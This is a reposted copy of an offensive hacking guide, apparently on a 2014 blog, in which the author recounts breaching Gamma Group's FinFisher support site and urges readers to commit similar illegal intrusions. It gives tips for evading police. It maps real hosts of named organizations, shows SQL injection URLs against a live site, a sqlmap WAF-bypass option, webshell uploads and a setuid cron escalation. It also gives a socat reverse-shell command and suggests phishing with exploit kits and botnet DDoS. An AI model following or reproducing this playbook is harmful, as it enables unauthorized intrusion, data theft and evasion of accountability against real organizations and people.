- _ _ _ ____ _ _
- | | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
- | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
- | _ | (_| | (__| < | |_) | (_| | (__| <|_|
- |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
- A DIY Guide for those without the patience to wait for whistleblowers
- --[ 1 ]-- Introduction
- I'm not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz
- it took to 0wn Gamma. I'm writing this to demystify hacking, to show how simple
- it is, and to hopefully inform and inspire you to go out and hack shit. If you
- have no experience with programming or hacking, some of the text below might
- look like a foreign language. Check the resources section at the end to help you
- get started. And trust me, once you've learned the basics you'll realize this
- really is easier than filing a FOIA request.
- --[ 2 ]-- Staying Safe
- This is illegal, so you'll need to take same basic precautions:
- 1) Make a hidden encrypted volume with Truecrypt 7.1a [0]
- 2) Inside the encrypted volume install Whonix [1]
- 3) (Optional) While just having everything go over Tor thanks to Whonix is
- probably sufficient, it's better to not use an internet connection connected
- to your name or address. A cantenna, aircrack, and reaver can come in handy
- here.
- [0] https://truecrypt.ch/downloads/
- [1] https://www.whonix.org/wiki/Download#Install_Whonix
- As long as you follow common sense like never do anything hacking related
- outside of Whonix, never do any of your normal computer usage inside Whonix,
- never mention any information about your real life when talking with other
- hackers, and never brag about your illegal hacking exploits to friends in real
- life, then you can pretty much do whatever you want with no fear of being v&.
- NOTE: I do NOT recommend actually hacking directly over Tor. While Tor is usable
- for some things like web browsing, when it comes to using hacking tools like
- nmap, sqlmap, and nikto that are making thousands of requests, they will run
- very slowly over Tor. Not to mention that you'll want a public IP address to
- receive connect back shells. I recommend using servers you've hacked or a VPS
- paid with bitcoin to hack from. That way only the low bandwidth text interface
- between you and the server is over Tor. All the commands you're running will
- have a nice fast connection to your target.
- --[ 3 ]-- Mapping out the target
- Basically I just repeatedly use fierce [0], whois lookups on IP addresses and
- domain names, and reverse whois lookups to find all IP address space and domain
- names associated with an organization.
- [0] http://ha.ckers.org/fierce/
- For an example let's take Blackwater. We start out knowing their homepage is at
- academi.com. Running fierce.pl -dns academi.com we find the subdomains:
- 67.238.84.228 email.academi.com
- 67.238.84.242 extranet.academi.com
- 67.238.84.240 mail.academi.com
- 67.238.84.230 secure.academi.com
- 67.238.84.227 vault.academi.com
- 54.243.51.249 www.academi.com
- Now we do whois lookups and find the homepage of www.academi.com is hosted on
- Amazon Web Service, while the other IPs are in the range:
- NetRange: 67.238.84.224 - 67.238.84.255
- CIDR: 67.238.84.224/27
- CustName: Blackwater USA
- Address: 850 Puddin Ridge Rd
- Doing a whois lookup on academi.com reveals it's also registered to the same
- address, so we'll use that as a string to search with for the reverse whois
- lookups. As far as I know all the actual reverse whois lookup services cost
- money, so I just cheat with google:
- "850 Puddin Ridge Rd" inurl:ip-address-lookup
- "850 Puddin Ridge Rd" inurl:domaintools
- Now run fierce.pl -range on the IP ranges you find to lookup dns names, and
- fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more
- whois lookups and repeat the process until you've found everything.
- Also just google the organization and browse around its websites. For example on
- academi.com we find links to a careers portal, an online store, and an employee
- resources page, so now we have some more:
- 54.236.143.203 careers.academi.com
- 67.132.195.12 academiproshop.com
- 67.238.84.236 te.academi.com
- 67.238.84.238 property.academi.com
- 67.238.84.241 teams.academi.com
- If you repeat the whois lookups and such you'll find academiproshop.com seems to
- not be hosted or maintained by Blackwater, so scratch that off the list of
- interesting IPs/domains.
- In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com
- was simply a whois lookup of finfisher.com which found it registered to the name
- "FinFisher GmbH". Googling for:
- "FinFisher GmbH" inurl:domaintools
- finds gamma-international.de, which redirects to finsupport.finfisher.com
- ...so now you've got some idea how I map out a target.
- This is actually one of the most important parts, as the larger the attack
- surface that you are able to map out, the easier it will be to find a hole
- somewhere in it.
- --[ 4 ]-- Scanning & Exploiting
- Scan all the IP ranges you found with nmap to find all services running. Aside
- from a standard port scan, scanning for SNMP is underrated.
- Now for each service you find running:
- 1) Is it exposing something it shouldn't? Sometimes companies will have services
- running that require no authentication and just assume it's safe because the url
- or IP to access it isn't public. Maybe fierce found a git subdomain and you can
- go to git.companyname.come/gitweb/ and browse their source code.
- 2) Is it horribly misconfigured? Maybe they have an ftp server that allows
- anonymous read or write access to an important directory. Maybe they have a
- database server with a blank admin password (lol stratfor). Maybe their embedded
- devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer's
- default password.
- 3) Is it running an old version of software vulnerable to a public exploit?
- Webservers deserve their own category. For any webservers, including ones nmap
- will often find running on nonstandard ports, I usually:
- 1) Browse them. Especially on subdomains that fierce finds which aren't intended
- for public viewing like test.company.com or dev.company.com you'll often find
- interesting stuff just by looking at them.
- 2) Run nikto [0]. This will check for things like webserver/.svn/,
- webserver/backup/, webserver/phpinfo.php, and a few thousand other common
- mistakes and misconfigurations.
- 3) Identify what software is being used on the website. WhatWeb is useful [1]
- 4) Depending on what software the website is running, use more specific tools
- like wpscan [2], CMS-Explorer [3], and Joomscan [4].
- First try that against all services to see if any have a misconfiguration,
- publicly known vulnerability, or other easy way in. If not, it's time to move
- on to finding a new vulnerability:
- 5) Custom coded web apps are more fertile ground for bugs than large widely used
- projects, so try those first. I use ZAP [5], and some combination of its
- automated tests along with manually poking around with the help of its
- intercepting proxy.
- 6) For the non-custom software they're running, get a copy to look at. If it's
- free software you can just download it. If it's proprietary you can usually
- pirate it. If it's proprietary and obscure enough that you can't pirate it you
- can buy it (lame) or find other sites running the same software using google,
- find one that's easier to hack, and get a copy from them.
- [0] http://www.cirt.net/nikto2
- [1] http://www.morningstarsecurity.com/research/whatweb
- [2] http://wpscan.org/
- [3] https://code.google.com/p/cms-explorer/
- [4] http://sourceforge.net/projects/joomscan/
- [5] https://code.google.com/p/zaproxy/
- For finsupport.finfisher.com the process was:
- * Start nikto running in the background.
- * Visit the website. See nothing but a login page. Quickly check for sqli in the
- login form.
- * See if WhatWeb knows anything about what software the site is running.
- * WhatWeb doesn't recognize it, so the next question I want answered is if this
- is a custom website by Gamma, or if there are other websites using the same
- software.
- * I view the page source to find a URL I can search on (index.php isn't
- exactly unique to this software). I pick Scripts/scripts.js.php, and google:
- allinurl:"Scripts/scripts.js.php"
- * I find there's a handful of other sites using the same software, all coded by
- the same small webdesign firm. It looks like each site is custom coded but
- they share a lot of code. So I hack a couple of them to get a collection of
- code written by the webdesign firm.
- At this point I can see the news stories that journalists will write to drum
- up views: "In a sophisticated, multi-step attack, hackers first compromised a
- web design firm in order to acquire confidential data that would aid them in
- attacking Gamma Group..."
- But it's really quite easy, done almost on autopilot once you get the hang of
- it. It took all of a couple minutes to:
- * google allinurl:"Scripts/scripts.js.php" and find the other sites
- * Notice they're all sql injectable in the first url parameter I try.
- * Realize they're running Apache ModSecurity so I need to use sqlmap [0] with
- the option --tamper='tamper/modsecurityversioned.py'
- * Acquire the admin login information, login and upload a php shell [1] (the
- check for allowable file extensions was done client side in javascript), and
- download the website's source code.
- [0] http://sqlmap.org/
- [1] https://epinna.github.io/Weevely/
- Looking through the source code they might as well have named it Damn Vulnerable
- Web App v2 [0]. It's got sqli, LFI, file upload checks done client side in
- javascript, and if you're unauthenticated the admin page just sends you back to
- the login page with a Location header, but you can have your intercepting proxy
- filter the Location header out and access it just fine.
- [0] http://www.dvwa.co.uk/
- Heading back over to the finsupport site, the admin /BackOffice/ page returns
- 403 Forbidden, and I'm having some issues with the LFI, so I switch to using the
- sqli (it's nice to have a dozen options to choose from). The other sites by the
- web designer all had an injectable print.php, so some quick requests to:
- https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1
- https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1
- reveal that finsupport also has print.php and it is injectable. And it's
- database admin! For MySQL this means you can read and write files. It turns out
- the site has magicquotes enabled, so I can't use INTO OUTFILE to write files.
- But I can use a short script that uses sqlmap --file-read to get the php source
- for a URL, and a normal web request to get the HTML, and then finds files
- included or required in the php source, and finds php files linked in the HTML,
- to recursively download the source to the whole site.
- Looking through the source, I see customers can attach a file to their support
- tickets, and there's no check on the file extension. So I pick a username and
- password out of the customer database, create a support request with a php shell
- attached, and I'm in!
- --[ 5 ]-- (fail at) Escalating
- ___________
- < got r00t? >
- -----------
- \ ^__^
- \ (oo)\_______
- (__)\ )\/\
- ||----w |
- || ||
- ^^^^^^^^^^^^^^^^
- Root over 50% of linux servers you encounter in the wild with two easy scripts,
- Linux_Exploit_Suggester [0], and unix-privesc-check [1].
- [0] https://github.com/PenturaLabs/Linux_Exploit_Suggester
- [1] https://code.google.com/p/unix-privesc-check/
- finsupport was running the latest version of Debian with no local root exploits,
- but unix-privesc-check returned:
- WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
- www-data can write to /etc/cron.hourly/mgmtlicensestatus
- WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
- can write to /etc/cron.hourly/webalizer
- so I add to /etc/cron.hourly/webalizer:
- chown root:root /path/to/my_setuid_shell
- chmod 04755 /path/to/my_setuid_shell
- wait an hour, and ....nothing. Turns out that while the cron process is running
- it doesn't seem to be actually running cron jobs. Looking in the webalizer
- directory shows it didn't update stats the previous month. Apparently after
- updating the timezone cron will sometimes run at the wrong time or sometimes not
- run at all and you need to restart cron after changing the timezone. ls -l
- /etc/localtime shows the timezone got updated June 6, the same time webalizer
- stopped recording stats, so that's probably the issue. At any rate, the only
- thing this server does is host the website, so I already have access to
- everything interesting on it. Root wouldn't get much of anything new, so I move
- on to the rest of the network.
- --[ 6 ]-- Pivoting
- The next step is to look around the local network of the box you hacked. This
- is pretty much the same as the first Scanning & Exploiting step, except that
- from behind the firewall many more interesting services will be exposed. A
- tarball containing a statically linked copy of nmap and all its scripts that you
- can upload and run on any box is very useful for this. The various nfs-* and
- especially smb-* scripts nmap has will be extremely useful.
- The only interesting thing I could get on finsupport's local network was another
- webserver serving up a folder called 'qateam' containing their mobile malware.
- --[ 7 ]-- Have Fun
- Once you're in their networks, the real fun starts. Just use your imagination.
- While I titled this a guide for wannabe whistleblowers, there's no reason to
- limit yourself to leaking documents. My original plan was to:
- 1) Hack Gamma and obtain a copy of the FinSpy server software
- 2) Find vulnerabilities in FinSpy server.
- 3) Scan the internet for, and hack, all FinSpy C&C servers.
- 4) Identify the groups running them.
- 5) Use the C&C server to upload and run a program on all targets telling them
- who was spying on them.
- 6) Use the C&C server to uninstall FinFisher on all targets.
- 7) Join the former C&C servers into a botnet to DDoS Gamma Group.
- It was only after failing to fully hack Gamma and ending up with some
- interesting documents but no copy of the FinSpy server software that I had to
- make due with the far less lulzy backup plan of leaking their stuff while
- mocking them on twitter.
- Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password
- already so I can move on to step 2!
- --[ 8 ]-- Other Methods
- The general method I outlined above of scan, find vulnerabilities, and exploit
- is just one way to hack, probably better suited to those with a background in
- programming. There's no one right way, and any method that works is as good as
- any other. The other main ways that I'll state without going into detail are:
- 1) Exploits in web browers, java, flash, or microsoft office, combined with
- emailing employees with a convincing message to get them to open the link or
- attachment, or hacking a web site frequented by the employees and adding the
- browser/java/flash exploit to that.
- This is the method used by most of the government hacking groups, but you don't
- need to be a government with millions to spend on 0day research or subscriptions
- to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit
- for a couple thousand, and rent access to one for much less. There's also
- metasploit browser autopwn, but you'll probably have better luck with no
- exploits and a fake flash updater prompt.
- 2) Taking advantage of the fact that people are nice, trusting, and helpful 95%
- of the time.
- The infosec industry invented a term to make this sound like some sort of
- science: "Social Engineering". This is probably the way to go if you don't know
- too much about computers, and it really is all it takes to be a successful
- hacker [0].
- [0] https://www.youtube.com/watch?v=DB6ywr9fngU
- --[ 9 ]-- Resources
- Links:
- * https://www.pentesterlab.com/exercises/
- * http://overthewire.org/wargames/
- * http://www.hackthissite.org/
- * http://smashthestack.org/
- * http://www.win.tue.nl/~aeb/linux/hh/hh.html
- * http://www.phrack.com/
- * http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot
- * http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash
- * https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/
- * https://www.netspi.com/blog/entryid/140/resources-for-aspiring-penetration-testers
- (all his other blog posts are great too)
- * https://www.corelan.be/ (start at Exploit writing tutorial part 1)
- * http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
- One trick it leaves out is that on most systems the apache access log is
- readable only by root, but you can still include from /proc/self/fd/10 or
- whatever fd apache opened it as. It would also be more useful if it mentioned
- what versions of php the various tricks were fixed in.
- * http://www.dest-unreach.org/socat/
- Get usable reverse shells with a statically linked copy of socat to drop on
- your target and:
- target$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM
- host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORTNUM
- It's also useful for setting up weird pivots and all kinds of other stuff.
- Books:
- * The Web Application Hacker's Handbook
- * Hacking: The Art of Exploitation
- * The Database Hacker's Handbook
- * The Art of Software Security Assessment
- * A Bug Hunter's Diary
- * Underground: Tales of Hacking, Madness, and Obsession on the Electronic Frontier
- * TCP/IP Illustrated
- Aside from the hacking specific stuff almost anything useful to a system
- administrator for setting up and administering networks will also be useful for
- exploring them. This includes familiarity with the windows command prompt and unix
- shell, basic scripting skills, knowledge of ldap, kerberos, active directory,
- networking, etc.
- --[ 10 ]-- Outro
- You'll notice some of this sounds exactly like what Gamma is doing. Hacking is a
- tool. It's not selling hacking tools that makes Gamma evil. It's who their
- customers are targeting and with what purpose that makes them evil. That's not
- to say that tools are inherently neutral. Hacking is an offensive tool. In the
- same way that guerrilla warfare makes it harder to occupy a country, whenever
- it's cheaper to attack than to defend it's harder to maintain illegitimate
- authority and inequality. So I wrote this to try to make hacking easier and more
- accessible. And I wanted to show that the Gamma Group hack really was nothing
- fancy, just standard sqli, and that you do have the ability to go out and take
- similar action.
- Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea
- Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned
- hackers, dissidents, and criminals!
2014年8月14日 星期四
訂閱:
張貼留言 (Atom)
沒有留言:
張貼留言